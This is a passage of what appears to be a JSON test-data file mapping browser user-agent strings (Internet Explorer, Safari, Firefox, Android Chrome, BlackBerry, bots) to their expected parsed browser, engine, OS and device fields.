"device_string" : "HTC T7575", "engine" : "trident", "engine_beta" : "", "engine_major" : "3", "engine_minor" : ".1", "engine_version" : "3.1", "language" : null, "match" : [ "device", "windows", "winphone", "winphone7", "mobile", "trident", "ie", "ie4up", "ie55up", "ie5up", "ie7" ], "no_match" : [ "ie_compat_mode" ], "os" : "winphone", "os_beta" : "", "os_major" : "7", "os_minor" : ".0", "os_string" : "Windows Phone", "os_version" : "7.0" }, "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.168; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; IE0006_ver1;EN_US)" : { "browser" : "ie", "browser_string" : "AOL Browser", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "language" : "EN", "major" : "8", "match" : [ "ie", "ie4up", "ie55up", "ie5up", "ie8", "aol", "trident", "win32", "windows", "winnt", "winxp", "dotnet" ], "minor" : "0", "no_match" : [ "ie_compat_mode" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_version" : "4.0", "language" : null, "match" : [ "ie", "ie4up", "ie55up", "ie5up", "ie8", "trident", "win32", "windows", "winnt", "winxp" ], "no_match" : [ "ie_compat_mode" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; eMusic DLM/4; .NET4.0C)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "winxp", "windows", "winnt", "win32", "dotnet", "trident", "ie", "ie4up", "ie55up", "ie5up", "ie8" ], "no_match" : [ "ie_compat_mode" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "8", "public_minor" : "0", "public_version" : "8.0" }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Crossrider130)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "ie", "ie4up", "ie55up", "ie5up", "ie8", "trident", "win32", "windows", "winnt", "winxp", "dotnet" ], "minor" : "0", "no_match" : [ "ie_compat_mode", "robot" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "8", "public_minor" : "0", "public_version" : "8.0", "version" : "8.0" }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Brew_Browser_6.0_SP1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; MS-RTC EA 2; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP" }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NETi CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C) chromeframe/4.0" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "8", "match" : [ "windows", "win7", "winnt", "win32", "dotnet", "trident", "ie", "ie8", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "version" : "8.0" }, "Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.50" : { "browser" : "opera", "browser_string" : "Opera", "country" : null, "language" : null, "major" : "3", "match" : [ "opera", "opera3", "windows" ], "minor" : "0", "no_match" : null, "other" : null, "version" : "3" }, "Mozilla/4.0 (compatible; Polaris 6.2; Brew 3.1.5; en)/240X320 Samsung sam-r631" : { "browser" : "polaris", "browser_major" : "6", "browser_minor" : ".2", "device" : "wap", "device_string" : "Samsung sam-r631", "language" : "EN", "match" : [ "device", "brew", "polaris", "wap", "mobile" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/4.0(compatible;Polaris 6.2;Brew 3.1.5;U;en)/400x240 Samsung SCH-U820" : { "browser" : "polaris", "browser_major" : "6", "browser_minor" : ".2", "device" : "wap", "device_string" : "Samsung SCH-U820", "language" : "EN", "match" : [ "device", "brew", "polaris", "wap", "mobile" ], "os" : "brew", "os_beta" : ".5", "os_major" : "3", "os_minor" : ".1", "os_string" : "Brew" }, "Mozilla/4.06 [en] (Win98; I ;Nav)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : "EN", "major" : "4", "match" : [ "netscape", "nav4", "nav4up", "windows", "win32", "win98" ], "minor" : "0.06", "no_match" : null, "os" : "windows", "os_string" : "Win98", "other" : null, "version" : "4.06" }, "Mozilla/4.1 (compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LG-MN510" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "LG-MN510", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "Mozilla/4.1 (compatible; Teleca Q7; BMP 1.0.1; U; en) 240X400 LG-MN510 [UsableNet Lift Mobile]" : { "browser" : "obigo", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Teleca", "device" : "wap", "device_string" : "WAP capable phone", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "obigo" ], "os" : "brew", "os_beta" : ".1", "os_major" : "1", "os_minor" : ".0", "os_string" : "Brew MP" }, "Mozilla/4.5 [en] (X11; I; FreeBSD 2.2.7-RELEASE i386)" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : null, "language" : "EN", "major" : "4", "match" : [ "netscape", "nav4", "nav4up", "nav45", "nav45up", "bsd", "freebsd", "unix", "x11" ], "minor" : "0.5", "no_match" : null, "os" : "unix", "os_string" : "FreeBSD", "other" : null, "version" : "4.5" }, "Mozilla/5.0 ( ; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "major" : "9", "match" : [ "windows", "win7", "winnt", "win32", "trident", "ie", "ie9", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "version" : "9.0" }, "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.2.0.1791 Mobile Safari/537.35+" : { "browser" : "blackberry", "browser_string" : "BlackBerry", "device" : "blackberry", "device_string" : "BlackBerry Q10", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "537", "engine_minor" : ".35", "engine_version" : "537.35", "match" : [ "bb10", "blackberry", "device", "webkit", "mobile" ], "no_match" : [ "robot" ], "os" : "bb10", "os_string" : "BlackBerry 10", "public_version" : "10.2" }, "Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.2.0.1803 Mobile Safari/537.35+" : { "browser" : "blackberry", "browser_string" : "BlackBerry", "device" : "blackberry", "device_string" : "BlackBerry Touch", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "537", "engine_minor" : ".35", "engine_version" : "537.35", "match" : [ "bb10", "blackberry", "device", "webkit", "mobile" ], "no_match" : [ "robot" ], "os" : "bb10", "os_string" : "BlackBerry 10", "public_version" : "10.2" }, "Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; fr) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+" : { "browser" : "blackberry", "browser_string" : "BlackBerry", "device" : "blackberry", "device_string" : "BlackBerry 9800", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "534", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "534.1", "language" : "FR", "match" : [ "mobile", "blackberry", "webkit", "device" ], "no_match" : [ "robot" ], "public_version" : "6.0" }, "Mozilla/5.0 (Java; U; ar-sa; mauie800) AppleWebKit/530.13 (KHTML, like Gecko) UCBrowser/8.5.0.185/83/352/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.185", "browser_major" : "8", "browser_minor" : ".5", "browser_string" : "UCBrowser", "country" : "SA", "device" : "wap", "device_string" : "WAP capable phone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".13", "engine_string" : "WebKit", "language" : "AR", "match" : [ "device", "wap", "mobile", "ucbrowser", "webkit" ] }, "Mozilla/5.0 (Linux; Android 4.3.1; SAMSUNG-SGH-I747 Build/JLS36I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Mobile Safari/537.36" : { "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG-SGH-I747)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "33", "match" : [ "android", "chrome", "device", "webkit", "mobile" ], "minor" : "0", "no_match" : [ "sun" ], "os" : "android", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".3", "os_string" : "Android", "os_version" : "4.3", "public_major" : "33", "public_minor" : "0", "public_version" : "33.0", "version" : "33.0" }, "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Mobile Safari/537.36" : { "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Nexus 4)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "33", "match" : [ "android", "mobile", "device", "webkit", "chrome" ], "minor" : "0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_major" : "33", "public_minor" : "0", "public_version" : "33.0" }, "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Mobile Safari/537.36 OPR/20.0.1396.73172" : { "browser" : "opera", "browser_string" : "Opera", "device" : "android", "device_string" : "Android (Nexus 4)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "20", "match" : [ "android", "mobile", "device", "webkit", "opera" ], "minor" : "0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_major" : "20", "public_minor" : "0", "public_version" : "20.0" }, "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36" : { "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Nexus 4)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "30", "match" : [ "android", "mobile", "device", "webkit", "chrome" ], "minor" : "0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_major" : "30", "public_minor" : "0", "public_version" : "30.0", "version" : "30.0" }, "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Pinterestbot/1.0; +https://www.pinterest.com/bot.html)" : { "match" : [ "android", "chrome", "device", "mobile", "pinterest", "robot", "webkit" ], "os" : "android", "os_string" : "Android", "robot" : "pinterest", "robot_id" : "pinterest", "robot_string" : "Pinterest" }, "Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2" : { "browser" : "safari", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "525", "engine_minor" : ".10", "engine_string" : "WebKit", "engine_version" : "525.10", "language" : "EN", "major" : "5", "match" : [ "safari", "mobile", "mobile_safari", "android", "webkit", "device" ], "minor" : "0.23", "os" : "android", "os_beta" : "", "os_major" : "1", "os_minor" : ".0", "os_string" : "Android", "os_version" : "1.0", "public_major" : "3", "public_minor" : "0", "public_version" : "3.0", "version" : "5.23" }, "Mozilla/5.0 (Linux; U; Android 1.5; en-us; Google Ion Build/CRB43) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1" : { "browser" : "safari", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (Google Ion)", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "528", "engine_minor" : ".5", "engine_string" : "WebKit", "engine_version" : "528.5", "language" : "EN", "major" : "5", "match" : [ "safari", "mobile_safari", "mobile", "android", "webkit", "device" ], "minor" : "0.25", "os" : "android", "os_beta" : "", "os_major" : "1", "os_minor" : ".5", "os_string" : "Android", "os_version" : "1.5", "public_major" : "3", "public_minor" : "0.1", "public_version" : "3.1", "version" : "5.25" }, "Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; DROIDX Build/VZW) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 854X480 motorola DROIDX" : { "browser" : "safari", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (DROIDX)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".17", "engine_string" : "WebKit", "engine_version" : "530.17", "language" : "EN", "major" : "5", "match" : [ "safari", "mobile_safari", "mobile", "android", "webkit", "device" ], "minor" : "0.30", "os" : "android", "os_beta" : "-update1", "os_major" : "2", "os_minor" : ".1", "os_string" : "Android", "os_version" : "2.1", "public_major" : "4", "public_minor" : "0", "public_version" : "4.0", "version" : "5.30" }, "Mozilla/5.0 (Linux; U; Android 2.1-update1; ja-jp; IS03 Build/S2080) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 YJApp-ANDROID jp.co.yahoo.android.yjtop/1.0.3" : { "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (IS03)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".17", "engine_version" : "530.17", "match" : [ "safari", "mobile", "mobile_safari", "device", "webkit", "android" ], "minor" : ".30", "no_match" : [ "robot" ], "os" : "android", "os_beta" : "-update1", "os_major" : "2", "os_minor" : ".1", "os_string" : "Android", "os_version" : "2.1", "version" : "5.30" }, "Mozilla/5.0 (Linux; U; Android 4.2; en-us; Nexus 10 Build/JOP12D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "device" : "android", "device_string" : "Android tablet (Nexus 10)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : "5", "match" : [ "device", "safari", "tablet", "webkit", "android" ], "minor" : "0.34", "os" : "android", "os_beta" : "", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_major" : "4", "public_minor" : ".0", "public_version" : "4", "version" : "5.34" }, "Mozilla/5.0 (Linux; U; Android 4.3.1; en-gb; SAMSUNG-SGH-I747 Build/JLS36I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 CyanogenMod/10.2.1/d2att" : { "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (SAMSUNG-SGH-I747)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_version" : "534.30", "match" : [ "android", "mobile", "device", "mobile_safari", "webkit", "safari" ], "no_match" : [ "sun" ], "os" : "android", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".3", "os_string" : "Android", "os_version" : "4.3", "public_major" : "4", "public_minor" : "0", "public_version" : "4.0" }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Nexus 4 Build/KOT49H) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16" : { "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (Nexus 4)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".16", "engine_version" : "537.16", "match" : [ "android", "mobile", "mobile_safari", "device", "webkit", "safari" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_major" : "4", "public_minor" : "0", "public_version" : "4.0" }, "Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600x800; rotate)" : { "browser" : "safari", "browser_string" : "Safari", "device" : "kindle", "device_string" : "Amazon Kindle", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "528", "engine_minor" : ".5", "engine_version" : "528.5", "match" : [ "device", "kindle", "linux", "safari", "tablet", "webkit", "unix" ], "os" : "linux", "os_string" : "Linux", "public_major" : "4", "public_minor" : "0", "public_version" : "4.0" }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "28", "engine_minor" : ".0", "engine_version" : "28.0", "major" : "28", "match" : [ "mac", "macosx", "firefox", "gecko" ], "minor" : "0", "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "version" : "28.0" }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 Scanning for research (researchscan.comsys.rwth-aachen.de)" : { "browser" : "chrome", "browser_beta" : ".2490.86", "browser_major" : "46", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "match" : [ "mac", "macosx", "chrome", "webkit", "robot" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".11", "os_string" : "Mac OS X", "robot" : "unknown", "robot_string" : "Chrome/46.0.2490.86 Safari/537.36 Scanning for research" }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "match" : [ "mac", "macosx", "webkit", "chrome" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "public_major" : "33", "public_minor" : "0", "public_version" : "33.0" }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".9", "engine_major" : "537", "engine_minor" : ".74", "engine_version" : "537.74", "match" : [ "mac", "macosx", "webkit", "safari" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "public_major" : "7", "public_minor" : "0", "public_version" : "7.0" }, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2) Gecko/20100115 Firefox/3.6" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "DE", "major" : "3", "match" : [ "gecko", "firefox", "mac", "macosx" ], "minor" : "0.6", "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "public_major" : "3", "public_minor" : "0.6", "public_version" : "3.6", "version" : "3.6" }, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "419", "engine_version" : "419", "match" : [ "safari", "mac", "webkit", "macosx" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "mac", "macosx", "gecko", "firefox" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "mac", "macosx", "macppc", "gecko", "firefox" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/106.2 (KHTML, like Gecko) Safari/100.1" : { "browser" : "safari", "browser_string" : "Safari", "country" : null, "engine" : "webkit", "engine_beta" : "", "engine_major" : "106", "engine_minor" : ".2", "engine_version" : "106.2", "language" : "EN", "major" : "1", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "minor" : "0", "no_match" : [ "gecko" ], "os" : "macosx", "os_string" : "Mac OS X", "other" : null, "version" : "1.0" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1" : { "browser" : "safari", "browser_string" : "Safari", "country" : null, "engine" : "webkit", "engine_major" : "124", "engine_version" : "124", "language" : "EN", "major" : "1", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "minor" : "0.25", "no_match" : [ "gecko" ], "os" : "macosx", "os_string" : "Mac OS X", "other" : null, "version" : "1.25" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : "", "engine_major" : "125", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "125.2", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "1", "public_minor" : "0.2", "public_version" : "1.2" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".6", "engine_major" : "125", "engine_minor" : ".5", "engine_string" : "WebKit", "engine_version" : "125.5", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "1", "public_minor" : "0.2", "public_version" : "1.2" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "419", "engine_version" : "419", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/48 (like Gecko) Safari/48" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "48", "engine_version" : "48", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "no_match" : [ "gecko" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "0", "public_minor" : "0.8", "public_version" : "0.8" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/60 (like Gecko) Safari/60" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "60", "engine_version" : "60", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "no_match" : [ "gecko" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "0", "public_minor" : "0.8", "public_version" : "0.8" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/73 (KHTML, like Gecko) Safari/73" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "73", "engine_string" : "WebKit", "engine_version" : "73", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "0", "public_minor" : "0.9", "public_version" : "0.9" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85 (KHTML, like Gecko) Safari/85" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "85", "engine_string" : "WebKit", "engine_version" : "85", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "1", "public_minor" : "0", "public_version" : "1.0" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : "US", "engine" : "gecko", "engine_beta" : ".2", "engine_major" : "1", "engine_minor" : ".0", "engine_version" : "1.0", "language" : "EN", "major" : "7", "match" : [ "mac", "macppc", "netscape", "nav4up", "nav45up", "nav6up", "gecko", "macosx", "mozilla" ], "minor" : "0.02", "no_match" : null, "os" : "macosx", "os_string" : "Mac OS X", "other" : "1.0.2", "version" : "7.02" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/74 (KHTML, like Gecko) Safari/74" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "engine" : "webkit", "engine_major" : "74", "engine_version" : "74", "language" : "EN", "major" : "0", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "minor" : "0.74", "no_match" : [ "gecko" ], "os" : "macosx", "os_string" : "Mac OS X", "other" : null, "version" : "0.74" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".5", "engine_major" : "85", "engine_minor" : ".8", "engine_version" : "85.8", "major" : "0", "match" : [ "mac", "macosx", "macppc", "webkit", "safari" ], "minor" : "0.85", "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "1", "public_minor" : "0", "version" : "0.85" }, "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x" : { "browser" : "safari", "browser_string" : "Safari", "match" : [ "mac", "macosx", "macppc", "safari" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "1", "public_minor" : ".2", "public_version" : "1.2" }, "Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Virtual) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Chrome/32 Mobile Safari/537" : { "browser" : "ie", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "Microsoft Virtual", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_version" : "7.0", "match" : [ "device", "ie", "ie11", "ie55up", "ie5up", "ie4up", "mobile", "trident", "windows", "winphone", "winphone8_1" ], "os" : "winphone", "os_beta" : "", "os_major" : "8", "os_minor" : ".1", "os_string" : "Windows Phone", "os_version" : "8.1" }, "Mozilla/5.0 (Mobile; rv:18.0) Gecko/18.0 Firefox/18.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "18", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "18.0", "match" : [ "firefox", "firefoxos", "gecko", "mobile" ], "os" : "firefoxos", "os_beta" : "", "os_major" : "18", "os_minor" : ".0", "os_string" : "Firefox 